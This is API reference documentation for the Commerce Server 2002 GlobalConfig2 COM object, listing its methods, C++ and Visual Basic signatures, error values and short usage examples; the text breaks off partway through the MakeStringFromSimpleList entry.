  • In Microsoft Internet Information Services (IIS) 6.0, objects are created in the configured application pool for the site, and you can configure each application pool to run as a different user. In order for Commerce Server Config objects to work with IIS 6.0, you must add the application pool user name to COM+. By default, the default application pool runs as "Network Service", with the local user account name being SERVICE.
ProgID: | Commerce.GlobalConfig2 (Externally creatable)
COM Class Name: | GlobalConfig2
Type Library Name: | Microsoft Commerce 2002 Configuration Type Library
DLL Name: | MSCSCfg.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _GlobalConfig2
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the _GlobalConfig2 interface to access the properties and methods of the GlobalConfig2 object.

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
Properties
[C++]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

[Visual Basic]
Property | Type | Description
Fields | Fields | Returns group-level configuration data. This property is read-only.

See Also

Integrating Custom Resources

Configuration Objects

[C++] SiteConfig Object

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfig Object

[Visual Basic] SiteConfigReadOnly Object


_GlobalConfig2 Methods [C++]

GlobalConfig2 Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.
[Visual Basic]
Method | Description
CreateServiceConfig | Creates and writes configuration information for the specified resource to the Administration database.
CreateSiteConfig | Creates a site.
DeleteServiceConfig | Deletes configuration information for the specified resource.
DeleteSiteConfig | Deletes the specified configuration for the site and all configurations for the associated resources.
GetGlobalResources | Retrieves a list of all the names of the resources from the Resources table in the Administration database.
GetIfCollection | Converts values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array.
GetRefSites | Retrieves a list of names of sites that reference the given resource.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
Initialize | Loads the global configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into an Array.
MakeArrayFromString | Converts values read from the Fields property into an Array.
MakeSimpleListFromArray | Converts an Array into a SimpleList object.
MakeStringFromArray | Converts an Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.
SaveConfig | Saves the global configuration settings to the Administration database.
Sites | Returns a list of all of the sites available in the administration data store.


_GlobalConfig2::CreateServiceConfig Method [C++]

GlobalConfig2.CreateServiceConfig Method [Visual Basic]

Use this method to create an instance of the class specified by the bstrConfigSchemaClass parameter, set the Name property of the instance to the name specified in the bstrServiceName parameter, and load the instance into the site recordset. This method calls the SaveConfig method.

Definition

[C++]
HRESULT _GlobalConfig2::CreateServiceConfig(
  BSTR bstrServiceName,
  BSTR bstrConfigSchemaClass
);
[Visual Basic]
Sub CreateServiceConfig(
  bstrServiceName As String,
  bstrConfigSchemaClass As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the new name for the resource configuration object instance.
bstrServiceName [Visual Basic]
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass [C++]
[in] A BSTR that contains the resource configuration schema class name.
bstrConfigSchemaClass [Visual Basic]
A String that contains the resource configuration schema class name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is a String denoting the new resource name
' oGlobalConfig2 is a Commerce GlobalConfig2 object
oGlobalConfig2.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::DeleteServiceConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] GlobalConfig2.DeleteServiceConfig


_GlobalConfig2::CreateSiteConfig Method [C++]

GlobalConfig2.CreateSiteConfig Method [Visual Basic]

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig2::CreateSiteConfig(
  BSTR bstrSiteName,
  IMSCSSiteConfigAdmin** ppsca
);
[Visual Basic]
Function CreateSiteConfig(
  bstrSiteName As String
) As Object

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the new site name.
bstrSiteName [Visual Basic]
A String that contains the new site name.
ppsca [C++]
[out] The address of a pointer to the SiteConfig object used to return the site configuration settings.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a SiteConfig object that contains the site configuration settings.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The ppsca parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyNewSite is a string; oGlobalConfig2 is a Commerce GlobalConfig2 object
' oMSCSSiteConfig is a Commerce.SiteConfig object
oMSCSSiteConfig = oGlobalConfig2.CreateSiteConfig(sMyNewSite)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::DeleteSiteConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] _GlobalConfig2::DeleteSiteConfig


_GlobalConfig2::DeleteServiceConfig Method [C++]

GlobalConfig2.DeleteServiceConfig Method [Visual Basic]

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[C++]
HRESULT _GlobalConfig2::DeleteServiceConfig(
  BSTR bstrServiceName
);
[Visual Basic]
Sub DeleteServiceConfig(
  bstrServiceName As String
)

Parameters

bstrServiceName [C++]
[in] A BSTR that contains the name of the resource configuration object to be deleted.
bstrServiceName [Visual Basic]
A String that contains the name of the resource configuration object to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig2 is a Commerce GlobalConfig2 object
oGlobalConfig2.DeleteServiceConfig (sMyPredictor)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::CreateServiceConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] GlobalConfig2.CreateServiceConfig


_GlobalConfig2::DeleteSiteConfig Method [C++]

GlobalConfig2.DeleteSiteConfig Method [Visual Basic]

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[C++]
HRESULT _GlobalConfig2::DeleteSiteConfig(
  BSTR bstrSiteName
);
[Visual Basic]
Sub DeleteSiteConfig(
  bstrSiteName As String
)

Parameters

bstrSiteName [C++]
[in] A BSTR that contains the site name.
bstrSiteName [Visual Basic]
A String that contains the site name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sMySiteName is an existing site name
' oGlobalConfig2 is a Commerce GlobalConfig2 object
oGlobalConfig2.DeleteSiteConfig(sMySiteName)

See Also

[C++] GlobalConfig2 Object

[C++] _GlobalConfig2::CreateSiteConfig

[Visual Basic] GlobalConfig2 Object

[Visual Basic] GlobalConfig2.CreateSiteConfig


_GlobalConfig2::GetGlobalResources Method [C++]

GlobalConfig2.GetGlobalResources Method [Visual Basic]

Use this method to retrieve a list of all the names of the resources from the Resources table in the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::GetGlobalResources(
_Recordset** retVal
);
[Visual Basic]
Function GetGlobalResources(
) As Object

Parameters

retVal [C++]
[out, retval] The address of a pointer to a _Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All normal SQL errors are returned by this method through the Err object. If no global resources exist, S_OK is returned, but the returned list will be empty.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::GetIfCollection Method [C++]

GlobalConfig2.GetIfCollection Method [Visual Basic]

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a Variant Array. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a Variant Array, then a Variant Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[C++]
HRESULT _GlobalConfig2::GetIfCollection(
  VARIANT* strList,
  VARIANT* retVal
);
[Visual Basic]
Function GetIfCollection(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A pointer to the VARIANT that contains the encoded string to be converted.
strList [Visual Basic]
A Variant that contains the encoded string to be converted.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the converted data in the appropriate data type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted data in the appropriate data type.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vVariant is a Variant; vEncodedString is a Variant
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vVariant = oGlobalConfig2.GetIfCollection(vEncodedString)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::GetRefSites Method [C++]

GlobalConfig2.GetRefSites Method [Visual Basic]

Use this method to retrieve a list of all the site names that reference the given resource from the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::GetRefSites(
  BSTR strDisplayName,
_Recordset** retVal
);
[Visual Basic]
Function GetRefSites(
  strDisplayName As String,
) As Object

Parameters

strDisplayName [C++]
[in] A BSTR that contains the display name of the global resource.
strDisplayName [Visual Basic]
A String that contains the display name of the global resource.
retVal [C++]
[out, retval] The address of a pointer to a _Recordset object. Each Field object in the recordset includes the name of one of the sites that references the given resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of one of the sites that references the given resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All normal SQL errors are returned by this method via the Err object. If no sites reference the given resource, S_OK is returned, but the returned list will be empty.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::GetResourcePropAttrib Method [C++]

GlobalConfig2.GetResourcePropAttrib Method [Visual Basic]

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[C++]
HRESULT _GlobalConfig2::GetResourcePropAttrib(
  BSTR strResourceName,
  BSTR strPropName,
  IDictionary** idictResPropAttrib
);
[Visual Basic]
Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As Object

Parameters

strResourceName [C++]
[in] A BSTR that contains the resource name.
strResourceName [Visual Basic]
A String that contains the resource name.
strPropName [C++]
[in] A BSTR that contains the resource property name.
strPropName [Visual Basic]
A String that contains the resource property name.
idictResPropAttrib [C++]
[out, retval] The address of a pointer to receive an IDictionary interface, which is used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object containing the key/value pairs that denote the attributes of the specified property of the specified resource.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The idictResPropAttrib parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig2 is a Commerce GlobalConfig2 object
dDict = _
oGlobalConfig2.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::Initialize Method [C++]

GlobalConfig2.Initialize Method [Visual Basic]

Use this method to load the global configuration from the Administration database.

Definition

[C++]
HRESULT _GlobalConfig2::Initialize(
  BSTR bstrGroupName
);
[Visual Basic]
Sub Initialize(
  Optional bstrGroupName As String
)

Parameters

bstrGroupName [C++]
[in, optional] A BSTR that contains the name of the global resource. If this parameter is present, this method will load only the records associated with this global resource.
bstrGroupName [Visual Basic]
A String that contains the name of the global resource. If this parameter is present, this method will load only the records associated with this global resource.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

On Developer Edition installations, code will be run to ensure that the maximum number of connections for an IIS Web site that hosts a Commerce Server 2002 application is not greater than five. For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeArrayFromSimpleList Method [C++]

GlobalConfig2.MakeArrayFromSimpleList Method [Visual Basic]

Use this method to convert the specified SimpleList object into an Array.

Definition

[C++]
HRESULT _GlobalConfig2::MakeArrayFromSimpleList(
  IDispatch** list,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromSimpleList(
  list As Object
) As Variant

Parameters

list [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an Array.
list [Visual Basic]
An object reference to the SimpleList that you wish to convert into an Array.
vtArray [C++]
[out, retval] A pointer to a VARIANT containing the converted Array.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the converted Array.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyVariant is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vMyVariant = oGlobalConfig2.MakeArrayFromSimpleList(varMySimpleList)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeArrayFromString Method [C++]

GlobalConfig2.MakeArrayFromString Method [Visual Basic]

Use this method to convert an encoded string read from the Fields property into an Array. If the encoded string does not indicate Array properties, then the method returns the original string that was passed into it.

Definition

[C++]
HRESULT _GlobalConfig2::MakeArrayFromString(
  VARIANT strList,
  VARIANT* vtArray
);
[Visual Basic]
Function MakeArrayFromString(
  strList As Variant
) As Variant

Parameters

strList [C++]
[in] A VARIANT that contains the encoded string.
strList [Visual Basic]
A Variant that contains the encoded string.
vtArray [C++]
[out, retval] A pointer to a VARIANT used to return the converted Array or unconverted String.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The vtArray parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string read from the Fields
' property
' vArray is a Variant
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vArray = oGlobalConfig2.MakeArrayFromString(vEncoded)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeSimpleListFromArray Method [C++]

GlobalConfig2.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _GlobalConfig2::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the Array to convert.
iSimpleList [C++]
[out, retval] The address of an IDispatch pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++] The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is a SimpleList object
' oGlobalConfig2 is a Commerce GlobalConfig2 object
varMySimpleList = oGlobalConfig2.MakeSimpleListFromArray(vMyArray)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeStringFromArray Method [C++]

GlobalConfig2.MakeStringFromArray Method [Visual Basic]

Use this method to convert an Array object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig2::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a VARIANT used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be called.

[C++] The vtEncodedString parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oGlobalConfig2 is a Commerce GlobalConfig2 object
vEncoded = oGlobalConfig2.MakeStringFromArray(vArray)

See Also

[C++] GlobalConfig2 Object

[Visual Basic] GlobalConfig2 Object


_GlobalConfig2::MakeStringFromSimpleList Method [C++]

GlobalConfig2.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _GlobalConfig2::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
